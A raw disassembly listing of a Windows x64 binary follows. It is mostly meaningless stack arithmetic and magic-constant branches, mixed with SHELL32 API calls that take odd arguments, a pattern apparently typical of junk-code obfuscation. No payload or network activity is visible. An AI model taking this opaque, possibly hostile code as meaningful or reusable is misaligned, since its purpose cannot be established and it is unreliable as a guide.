jbe 0x14005c8af
mov rax, qword [rsp + 0x5928]
mov rcx, qword [rsp + 0x5778]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov ecx, dword [rsp + 0x3038]
mov rdx, qword [rsp + 0x5818]
mov edx, dword [rdx]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x14005cd42
mov eax, dword [rsp + 0x2fd4]
mov dword [rsp + 0x2fa8], eax
mov edx, 5
mov rcx, qword [rsp + 0x59b0]
call qword [sym.imp.SHELL32.dll_SHGetIconOverlayIndexW]
mov dword [rsp + 0x2f60], eax
mov rax, qword [rsp + 0x5950]
mov edx, dword [rax]
mov rax, qword [rsp + 0x5710]
mov ecx, dword [rax]
call fcn.1401b86e0
nop
jmp 0x14005ceab
movzx eax, word [rsp + 0xc98]
mov rcx, qword [rsp + 0x56f8]
movzx ecx, word [rcx]
sar eax, cl
movzx ecx, word [rsp + 0xc9c]
mov rdx, qword [rsp + 0x57d0]
movzx edx, word [rdx]
xor ecx, edx
cmp eax, ecx
je 0x14005ceab
mov rax, qword [rsp + 0x56b8]
mov rcx, qword [rsp + 0x5990]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5828]
mov qword [rcx], rax
movsx eax, word [rsp + 0xa70]
mov dword [rsp + 0x3040], eax
cmp dword [rsp + 0x3040], 0x74a9
je 0x14005cdb3
jmp 0x14005cdd2
mov edx, 0xd9
lea rcx, [rsp + 0x5900]
call qword [sym.imp.SHELL32.dll_SHMultiFileProperties]
mov dword [rsp + 0x2ef0], eax
jmp 0x14005ceab
mov rax, qword [rsp + 0x5818]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ee4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f3c], eax
movzx eax, word [rsp + 0xca8]
mov dword [rsp + 0x3044], eax
cmp dword [rsp + 0x3044], 0x761
je 0x14005ce8f
cmp dword [rsp + 0x3044], 0xb7f
je 0x14005ce20
jmp 0x14005ceab
mov rax, qword [rsp + 0x5900]
mov rcx, qword [rsp + 0x5790]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5900]
mov qword [rcx], rax
mov r9, qword [rsp + 0x58e0]
mov r8, qword [rsp + 0x59b8]
mov rdx, qword [rsp + 0x57d8]
mov rcx, qword [rsp + 0x59c0]
call qword [sym.imp.SHELL32.dll_ShellAboutW]
mov dword [rsp + 0x2f60], eax
mov rax, qword [rsp + 0x5948]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x159]
and eax, ecx
mov rcx, qword [rsp + 0x5918]
mov byte [rcx], al
jmp 0x14005ceab
movzx eax, byte [rsp + 0x157]
mov rcx, qword [rsp + 0x59a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x15c], al
cmp dword [rsp + 0x2f18], 0xe50d
je 0x14005d1f4
mov rax, qword [rsp + 0x58b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x57f0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x9c8], ax
mov rax, qword [rsp + 0x57d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x56f8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140204018], ax
movzx eax, word [rsp + 0xca8]
movzx ecx, word [rsp + 0xca0]
add eax, ecx
mov word [rsp + 0xc98], ax
movsx eax, word [rsp + 0xa70]
movsx ecx, word [rsp + 0xca4]
sub eax, ecx
mov rcx, qword [rsp + 0x58b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5790]
mov rcx, qword [rsp + 0x56f0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x58d0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2f18]
add eax, 0xca
mov dword [rsp + 0x2f18], eax
mov eax, dword [rsp + 0x2ee4]
mov ecx, dword [rsp + 0x3038]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f3c], eax
mov rax, qword [rsp + 0x56e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2f94]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f68], eax
mov rax, qword [rsp + 0x56c0]
mov rcx, qword [rsp + 0x5828]
mov qword [rsp + 0x59c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x59c8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x56b8], rax
mov rax, qword [rsp + 0x5918]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15d]
shl eax, cl
mov byte [rsp + 0x158], al
mov rax, qword [rsp + 0x5908]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5788]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x15e], al
mov rax, qword [rsp + 0x59a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5908]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x140205220]
mov byte [rcx], al
movzx eax, byte [rsp + 0x15b]
mov rcx, qword [rsp + 0x57f8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5908]
mov byte [rcx], al
mov rax, qword [rsp + 0x5820]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x57f0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5820]
mov word [rcx], ax
mov rax, qword [0x140204010]
mov rcx, qword [rsp + 0x56f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5790], rax
mov eax, dword [rsp + 0x2f60]
mov ecx, dword [rsp + 0x3038]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f3c], eax
mov rax, qword [0x140205218]
mov ecx, dword [rsp + 0x2fd4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5710]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5990]
mov rcx, qword [rsp + 0x56b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5828]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x15f]
mov rcx, qword [rsp + 0x5918]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5920]
mov byte [rcx], al
mov rax, qword [rsp + 0x5728]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x56f8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5728]
mov word [rcx], ax
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x57f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x140205220]
mov byte [rcx], al
movsx eax, byte [rsp + 0x15a]
movsx ecx, byte [rsp + 0x158]
shl eax, cl
mov byte [rsp + 0x15d], al
movzx eax, word [rsp + 0xca8]
mov rcx, qword [rsp + 0x5728]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xc98], ax
mov rax, qword [rsp + 0x5900]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x56f0]
shr rax, cl
mov rcx, qword [rsp + 0x58d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5980]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5990]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x56b8], rax
mov rax, qword [rsp + 0x5928]
mov ecx, dword [rsp + 0x2ee4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2f60], eax
mov rax, qword [rsp + 0x5710]
mov ecx, dword [rsp + 0x2edc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2f94], eax
jmp 0x14005ceab
mov rax, qword [rsp + 0x5820]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5988]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x57f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5928]
mov ecx, dword [rsp + 0x2f60]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5778]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x3038]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jge 0x14005d296
mov edx, reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
lea rcx, [rsp + 0xca8]
call qword [sym.imp.SHELL32.dll_SHGetSettings]
movsx eax, byte [rsp + 0x159]
movsx ecx, byte [rsp + 0x15f]
and eax, ecx
mov rcx, qword [rsp + 0x5920]
mov byte [rcx], al
mov rax, qword [rsp + 0x5788]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x56c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140204008], al
call fcn.1401b8470
nop
mov rax, qword [rsp + 0x5778]
mov eax, dword [rax]
mov dword [rsp + 0x3048], eax
cmp dword [rsp + 0x3048], 0
je 0x14005d2c3
cmp dword [rsp + 0x3048], 0x4a5cefe7
je 0x14005d312
jmp 0x14005d356
lea rax, [rsp + 0x9c8]
mov qword [rsp + 0x59d0], rax
movzx eax, word [rsp + 0xca0]
movzx ecx, word [rsp + 0xc9c]
sub eax, ecx
mov rcx, qword [rsp + 0x57d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5710]
mov rcx, qword [rsp + 0x5950]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5710]
mov dword [rcx], eax
jmp 0x14005d356
lea rdx, [rsp + 0x22d10]
mov ecx, 0xdc
call qword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [rsp + 0x304c], eax
mov rax, qword [rsp + 0x5828]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5990]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5980]
mov qword [rcx], rax
call fcn.1401b8470
nop
mov eax, dword [rsp + 0x2f60]
movzx ecx, al
mov eax, dword [rsp + 0x2ee4]
shl eax, cl
mov dword [rsp + 0x2d9c], eax
mov rax, qword [rsp + 0x5790]
mov qword [rsp + 0x59d8], rax
movzx eax, word [rsp + 0xca8]
movzx ecx, word [rsp + 0xc9c]
sar eax, cl
mov rcx, qword [rsp + 0x57d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5918]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15f]
xor eax, ecx
mov rcx, qword [rsp + 0x5920]
mov byte [rcx], al
movzx eax, byte [rsp + 0x157]
mov rcx, qword [rsp + 0x57f8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x140204008], al
mov rax, qword [rsp + 0x5788]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15c]
and eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
movsx eax, word [rsp + 0x9c8]
mov rcx, qword [rsp + 0x58b0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xca4], ax
mov rax, qword [rsp + 0x5980]
mov rcx, qword [rsp + 0x56c0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5980]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2ee4]
mov ecx, dword [rsp + 0x2f3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d9c], eax
mov rax, qword [rsp + 0x57c8]
mov ecx, dword [rsp + 0x2f94]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5950]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5800]
mov rcx, qword [rsp + 0x59d8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5800]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xe8]
movzx ecx, byte [0x140204008]
and eax, ecx
mov rcx, qword [rsp + 0x5788]
mov byte [rcx], al
mov rax, qword [rsp + 0x5920]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5948]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x15d], al
mov rax, qword [rsp + 0x5710]
mov rcx, qword [rsp + 0x56e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x140205218]
mov dword [rcx], eax
movzx eax, byte [0x140204008]
movzx ecx, byte [rsp + 0x15e]
add eax, ecx
mov byte [rsp + 0xe8], al
movzx eax, word [rsp + 0xca8]
movzx ecx, word [rsp + 0xc9c]
or eax, ecx
mov word [rsp + 0xc98], ax
mov eax, dword [rsp + 0x3038]
mov ecx, dword [rsp + 0x2f3c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5778]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5790]
mov rcx, qword [rsp + 0x5800]
mov qword [rsp + 0x59e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x59e0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x59d8], rax
mov rax, qword [rsp + 0x5710]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2fc0]
shl eax, cl
mov rcx, qword [rsp + 0x56e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x59a8]
mov rcx, qword [rsp + 0x56b8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5980]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5948]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15a]
sub eax, ecx
mov rcx, qword [rsp + 0x5918]
mov byte [rcx], al
mov rax, qword [rsp + 0x5968]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5728]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x56f8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe8]
mov rcx, qword [rsp + 0x59a0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140204008], al
mov eax, dword [rsp + 0x3010]
sub eax, 0x79
mov dword [rsp + 0x3010], eax
mov rax, qword [rsp + 0x59d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9c8]
add eax, ecx
mov word [rsp + 0xca4], ax
movsx eax, byte [rsp + 0x15d]
movsx ecx, byte [rsp + 0x159]
sub eax, ecx
mov rcx, qword [rsp + 0x5918]
mov byte [rcx], al
mov rax, qword [rsp + 0x5778]
mov rcx, qword [rsp + 0x5928]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5818]
mov dword [rcx], eax
mov rax, qword [rsp + 0x57c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2f68]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5710]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5790]
mov rcx, qword [rsp + 0x59d8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x58d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x56c0]
movzx ecx, al
mov rax, qword [rsp + 0x59a8]
shl rax, cl
mov rcx, qword [rsp + 0x5828]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5918]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15a]
sar eax, cl
mov rcx, qword [rsp + 0x5920]
mov byte [rcx], al
movzx eax, word [rsp + 0xc9c]
movzx ecx, word [0x140204018]
or eax, ecx
mov rcx, qword [rsp + 0x5968]
mov word [rcx], ax
mov rax, qword [rsp + 0x57f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x56c8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x140205220]
mov byte [rcx], al
mov rax, qword [rsp + 0x59d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xca4]
sub eax, ecx
mov rcx, qword [rsp + 0x58b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x57d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5968]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xca8], ax
mov rax, qword [rsp + 0x5980]
mov rcx, qword [rsp + 0x5990]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5828]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2d9c]
mov ecx, dword [rsp + 0x3038]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5818]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5710]
mov rcx, qword [rsp + 0x5750]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x56e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5900]
mov rcx, qword [rsp + 0x5800]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x56f0], rax
movsx eax, word [rsp + 0x9c8]
movsx ecx, word [rsp + 0xa70]
add eax, ecx
mov word [rsp + 0xca4], ax
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x57f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x15c], al
movsx eax, byte [rsp + 0x15f]
movsx ecx, byte [rsp + 0x15a]
sub eax, ecx
mov rcx, qword [rsp + 0x5948]
mov byte [rcx], al
movzx eax, word [rsp + 0xc9c]
mov rcx, qword [rsp + 0x57d0]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x140204018], ax
cmp dword [rsp + 0x3010], 0xfc75
jae 0x14005d39d
movzx eax, word [rsp + 0xa70]
mov word [rsp + 0xcac], ax
mov rax, qword [rsp + 0x58b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcac]
xor eax, ecx
mov rcx, qword [rsp + 0x5820]
movsx ecx, word [rcx]
mov dword [rsp + 0x3050], ecx
movsx edx, word [rsp + 0xa70]
movzx ecx, dl
mov edx, dword [rsp + 0x3050]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x1401b68cc
mov rax, qword [rsp + 0x57f0]
movzx eax, word [rax]
mov word [0x140205228], ax
cmp dword [rsp + 0x302c], 0x91fb
ja 0x14005db66
mov rax, qword [rsp + 0x5820]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x57f0]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5820]
mov word [rcx], ax
movzx eax, word [rsp + 0xc9c]
movzx ecx, word [rsp + 0xc98]
sar eax, cl
mov rcx, qword [rsp + 0x5728]
mov word [rcx], ax
mov eax, dword [rsp + 0x2fa8]
mov ecx, dword [rsp + 0x2fc0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x56e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5928]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5778]
mov qword [rsp + 0x59e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x59e8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2ee4], eax
mov rax, qword [rsp + 0x5828]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x59a8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x56b8], rax
mov eax, dword [rsp + 0x302c]
add eax, 0x24
mov dword [rsp + 0x302c], eax
mov rax, qword [rsp + 0x5800]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5790]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x58d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5948]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5920]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5918]
mov byte [rcx], al
movzx eax, byte [rsp + 0x15b]
mov rcx, qword [rsp + 0x59a0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xe8], al
mov rax, qword [rsp + 0x57f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcac]
sub eax, ecx
mov word [0x140205228], ax
mov rax, qword [rsp + 0x57d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5968]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x56f8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x159]
mov rcx, qword [rsp + 0x5948]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5918]
mov byte [rcx], al
mov rax, qword [0x140204010]
mov rcx, qword [rsp + 0x5790]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5900]
mov qword [rcx], rax
mov rax, qword [rsp + 0x56b8]
mov rcx, qword [rsp + 0x56c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5990], rax
mov rax, qword [rsp + 0x57c8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5750]
mov qword [rsp + 0x59f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x59f0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x5750]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2d9c]
mov ecx, dword [rsp + 0x2f60]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ee4], eax
movsx eax, word [rsp + 0x9c8]
movsx ecx, word [rsp + 0xa70]
or eax, ecx
mov rcx, qword [rsp + 0x59d0]
mov word [rcx], ax
mov rax, qword [0x140205220]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5908]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x57f8]
mov byte [rcx], al
movzx eax, byte [rsp + 0xe8]
mov rcx, qword [rsp + 0x56c8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x140205220]
mov byte [rcx], al
movzx eax, word [rsp + 0xca8]
mov rcx, qword [rsp + 0x57d0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xca0], ax
jmp 0x14005d8cf
cmp dword [rsp + 0x2ee0], 0x2349
jae 0x14005dedc
movzx eax, byte [rsp + 0x157]
mov rcx, qword [rsp + 0x57f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5728]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xca0]
sub eax, ecx
mov rcx, qword [rsp + 0x5728]
mov word [rcx], ax
mov rax, qword [rsp + 0x5990]
mov rcx, qword [rsp + 0x56c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x59a8], rax
mov rax, qword [rsp + 0x5900]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x56f0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5790], rax
mov rax, qword [rsp + 0x5928]
mov rcx, qword [rsp + 0x5818]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5778]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2fa8]
mov ecx, dword [rsp + 0x2fc0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5750]
mov dword [rcx], eax
mov rax, qword [rsp + 0x57f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe8]
add eax, ecx
mov rcx, qword [rsp + 0x59a0]
mov byte [rcx], al
movsx eax, word [rsp + 0xca4]
mov rcx, qword [rsp + 0x57f0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140205228], ax
mov rax, qword [rsp + 0x5920]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x159]
xor eax, ecx
mov rcx, qword [rsp + 0x5948]
mov byte [rcx], al
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15e]
sar eax, cl
mov rcx, qword [rsp + 0x5788]
mov byte [rcx], al
mov eax, dword [rsp + 0x2ee0]
add eax, 0x76
mov dword [rsp + 0x2ee0], eax
mov rax, qword [rsp + 0x5948]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15d]
shl eax, cl
mov rcx, qword [rsp + 0x5948]
mov byte [rcx], al
mov rax, qword [rsp + 0x5980]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x56b8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x5990], rax
mov rax, qword [rsp + 0x5928]
mov rcx, qword [rsp + 0x5778]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5928]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5900]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x59d8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5800]
mov qword [rcx], rax
mov rax, qword [rsp + 0x57c8]
mov rcx, qword [rsp + 0x5750]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x57c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x56f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc9c]
sub eax, ecx
mov word [rsp + 0xca0], ax
movzx eax, byte [rsp + 0xe8]
mov rcx, qword [rsp + 0x56c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140204008], al
mov rax, qword [rsp + 0x5988]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x57f0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xcac], ax
movzx eax, word [rsp + 0xc9c]
movzx ecx, word [rsp + 0xc98]
and eax, ecx
mov word [rsp + 0xca0], ax
movsx eax, word [rsp + 0xcac]
mov rcx, qword [rsp + 0x57f0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xca4], ax
mov rax, qword [rsp + 0x5750]
mov eax, dword [rax]
mov dword [rsp + 0x3054], eax
mov rax, qword [rsp + 0x5828]
mov rcx, qword [rsp + 0x56b8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5828]
mov qword [rcx], rax
mov rax, qword [rsp + 0x58d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x59d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5790], rax
mov rax, qword [rsp + 0x5818]
mov ecx, dword [rsp + 0x2f60]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x5818]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x15b]
mov rcx, qword [rsp + 0x57f8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xe8], al
mov rax, qword [rsp + 0x57f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5908]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x140205220]
mov byte [rcx], al
mov rax, qword [rsp + 0x5988]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xca4]
sar eax, cl
mov rcx, qword [rsp + 0x5820]
mov word [rcx], ax
movsx eax, byte [rsp + 0x158]
movsx ecx, byte [rsp + 0x15f]
and eax, ecx
mov rcx, qword [rsp + 0x5920]
mov byte [rcx], al
jmp 0x14005db66
cmp dword [rsp + 0x3030], 0xbae6
ja 0x14005e079
mov rax, qword [rsp + 0x5920]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5918]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x15a], al
mov rax, qword [rsp + 0x56e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3054]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5710]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5800]
mov rcx, qword [rsp + 0x58d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5900]
mov qword [rcx], rax
mov rax, qword [rsp + 0x59a8]
mov rcx, qword [rsp + 0x56c0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5980]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5928]
mov ecx, dword [rsp + 0x2f3c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5928]
mov dword [rcx], eax
mov rax, qword [rsp + 0x59d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5988]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x9c8], ax
mov rax, qword [rsp + 0x5900]
mov rcx, qword [rsp + 0x56f0]
mov rax, qword [rax]
and rax, rcx
mov qword [0x140204010], rax
mov rax, qword [rsp + 0x5908]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5788]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x15c], al
mov eax, dword [rsp + 0x3030]
add eax, 0x65
mov dword [rsp + 0x3030], eax
mov rax, qword [rsp + 0x5728]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x57d0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x56f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x56f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x57d0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x56f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x56c0]
mov rcx, qword [rsp + 0x5828]
mov qword [rsp + 0x59f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x59f8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x5828]
mov qword [rcx], rax
jmp 0x14005dedc
mov rax, qword [rsp + 0x59d8]
mov rcx, qword [rsp + 0x56f0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x5790], rax
cmp dword [rsp + 0x3004], 0x3aa0
je 0x14005e214
mov rax, qword [rsp + 0x5750]
mov rcx, qword [rsp + 0x57c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x56e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5928]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2f3c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5818]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x15e]
mov rcx, qword [rsp + 0x5788]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x59a0]
